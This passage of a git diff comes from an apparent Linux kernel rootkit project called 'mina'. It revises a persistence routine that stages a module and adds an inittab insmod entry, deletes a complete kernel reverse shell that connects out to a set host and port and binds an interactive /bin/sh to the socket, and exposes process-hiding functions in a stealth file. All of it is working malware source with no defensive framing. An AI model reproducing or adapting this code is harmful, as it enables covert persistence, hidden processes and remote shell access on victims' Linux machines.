+             utsname()->release, rand_name_buf); // Using random name for module.ko
 
     printk(KERN_INFO "[mina_persist] Staging module from %s to %s\n", src_path, dst_path);
 
     ret = copy_file(src_path, dst_path);
     if (ret < 0) {
         printk(KERN_ERR "[mina_persist] Failed to copy module: %d\n", ret);
-        return ret;
+        goto cleanup;
     }
 
     printk(KERN_INFO "[mina_persist] Running depmod.\n");
@@ -144,7 +165,7 @@ int stage_and_persist_module(void) {
         printk(KERN_ERR "[mina_persist] depmod failed with %d\n", ret);
     }
 
-    snprintf(inittab_entry, sizeof(inittab_entry), "::sysinit:/sbin/insmod %s\n", dst_path);
+    snprintf(inittab_entry, 256, "::sysinit:/sbin/insmod %s\n", dst_path);
     ret = add_inittab_entry(inittab_entry);
     if (ret < 0) {
         printk(KERN_ERR "[mina_persist] Failed to add inittab entry: %d\n", ret);
@@ -152,5 +173,11 @@ int stage_and_persist_module(void) {
         printk(KERN_INFO "[mina_persist] Persistence installed to %s\n", dst_path);
     }
 
+cleanup:
+    kfree(src_path);
+    kfree(dst_path);
+    kfree(rand_name_buf);
+    kfree(inittab_entry);
+
     return ret;
 }
diff --git a/rootkit/sources/reverse_shell.c b/rootkit/sources/reverse_shell.c
@@ -1,128 +0,0 @@
-#include <linux/delay.h> // For msleep
-#include <linux/in.h>
-#include <linux/init.h>
-#include <linux/ip.h>
-#include <linux/kernel.h>
-#include <linux/kthread.h>
-#include <linux/module.h>
-#include <linux/net.h>
-#include <linux/slab.h>
-#include <linux/socket.h>
-#include <linux/string.h>
-#include <linux/tcp.h>
-#include <linux/uaccess.h>
-#include <net/sock.h>
-
-#include "../includes/mina.h"
-
-static char *rs_host = "127.0.0.1";
-static int rs_port = 4444;
-
-void set_reverse_shell_target(const char *host, int port) {
-    if (rs_host) {
-        kfree(rs_host);
-    }
-    rs_host = kstrdup(host, GFP_KERNEL);
-    rs_port = port;
-    printk(KERN_INFO "[mina_rs] Reverse shell target set to %s:%d\n", rs_host, rs_port);
-}
-
-static struct socket *rev_shell_sock = NULL;
-static struct task_struct *rev_shell_thread = NULL;
-
-static int rs_send(struct socket *sock, const char *buf, size_t len) {
-    struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
-    struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
-    return kernel_sendmsg(sock, &msg, &iov, 1, len);
-}
-
-static int rs_recv(struct socket *sock, char *buf, size_t len) {
-    struct kvec iov = {.iov_base = (void *)buf, .iov_len = len};
-    struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
-    return kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags);
-}
-
-static int reverse_shell_worker(void *data) {
-    struct socket *sock = (struct socket *)data;
-    char *argv[] = {"/bin/sh", "-c", NULL, NULL};
-    char *envp[] = {"PATH=/bin:/usr/bin", NULL};
-    int ret;
-    char *cmd_buf = NULL;
-    int fd;
-
-    allow_signal(SIGKILL);
-    fd = sock_map_fd(sock, 0);
-    if (fd < 0) {
-        printk(KERN_ERR "[mina_rs] Failed to map socket to FD: %d\n", fd);
-        sock_release(sock);
-        return fd;
-    }
-    cmd_buf = kmalloc(128, GFP_KERNEL);
-    if (!cmd_buf) {
-        sock_release(sock);
-        return -ENOMEM;
-    }
-    snprintf(cmd_buf, 128, "exec /bin/sh -i 0<>&%d 1<>&%d 2<>&%d", fd, fd, fd);
-    argv[2] = cmd_buf;
-
-    printk(KERN_INFO "[mina_rs] Spawning reverse shell with command: %s\n", cmd_buf);
-
-    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
-
-    kfree(cmd_buf);
-    sys_close(fd);
-    sock_release(sock);
-
-    printk(KERN_INFO "[mina_rs] Reverse shell process finished with code %d. Thread stopping.\n", ret);
-    return ret;
-}
-
-int start_reverse_shell(void) {
-    struct sockaddr_in s_addr;
-    int ret;
-
-    printk(KERN_INFO "[mina_rs] Attempting to start reverse shell to %s:%d\n", rs_host, rs_port);
-
-    ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &rev_shell_sock);
-    if (ret < 0) {
-        printk(KERN_ERR "[mina_rs] Failed to create socket: %d\n", ret);
-        return ret;
-    }
-
-    memset(&s_addr, 0, sizeof(s_addr));
-    s_addr.sin_family = AF_INET;
-    s_addr.sin_port = htons(rs_port);
-    s_addr.sin_addr.s_addr = in_aton(rs_host);
-
-    ret = kernel_connect(rev_shell_sock, (struct sockaddr *)&s_addr, sizeof(s_addr), 0);
-    if (ret < 0) {
-        printk(KERN_ERR "[mina_rs] Failed to connect: %d\n", ret);
-        sock_release(rev_shell_sock);
-        rev_shell_sock = NULL;
-        return ret;
-    }
-
-    rev_shell_thread = kthread_run(reverse_shell_worker, (void *)rev_shell_sock, "krev_shell");
-    if (IS_ERR(rev_shell_thread)) {
-        printk(KERN_ERR "[mina_rs] Failed to create reverse shell thread.\n");
-        sock_release(rev_shell_sock);
-        rev_shell_sock = NULL;
-        rev_shell_thread = NULL;
-        return PTR_ERR(rev_shell_thread);
-    }
-
-    printk(KERN_INFO "[mina_rs] Reverse shell thread started.\n");
-    return 0;
-}
-
-void stop_reverse_shell(void) {
-    if (rev_shell_sock) {
-        kernel_sock_shutdown(rev_shell_sock, SHUT_RDWR);
-    }
-    if (rev_shell_thread) {
-        kthread_stop(rev_shell_thread);
-        rev_shell_thread = NULL;
-    }
-    rev_shell_sock = NULL;
-    printk(KERN_INFO "[mina_rs] Reverse shell stopped.\n");
-}
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -56,7 +56,7 @@ static void file_hide(char *name) {
     list_add(&_file->list, &hide_files);
 }
 
-static void pid_unhide(pid_t pid) {
+void pid_unhide(pid_t pid) {
     struct st_hide_pid *_pid, *tmp;
     list_for_each_entry_safe(_pid, tmp, &hide_pids, list) {
         if (_pid->pid == pid) {
@@ -67,7 +67,7 @@ static void pid_unhide(pid_t pid) {
     }
 }
 
-static void pid_hide(pid_t pid) {
+void pid_hide(pid_t pid) {
     struct st_hide_pid *_pid;
 
     _pid = kmalloc(sizeof(*_pid), GFP_KERNEL);
@@ -88,7 +88,7 @@ static int file_lookup_hidelist(char *name) {
     return 0;
 }
 
-static int pid_lookup_hidelist(pid_t pid) {
+int pid_lookup_hidelist(pid_t pid) {
     struct st_hide_pid *tmp_pid;
 
     list_for_each_entry(tmp_pid, &hide_pids, list) {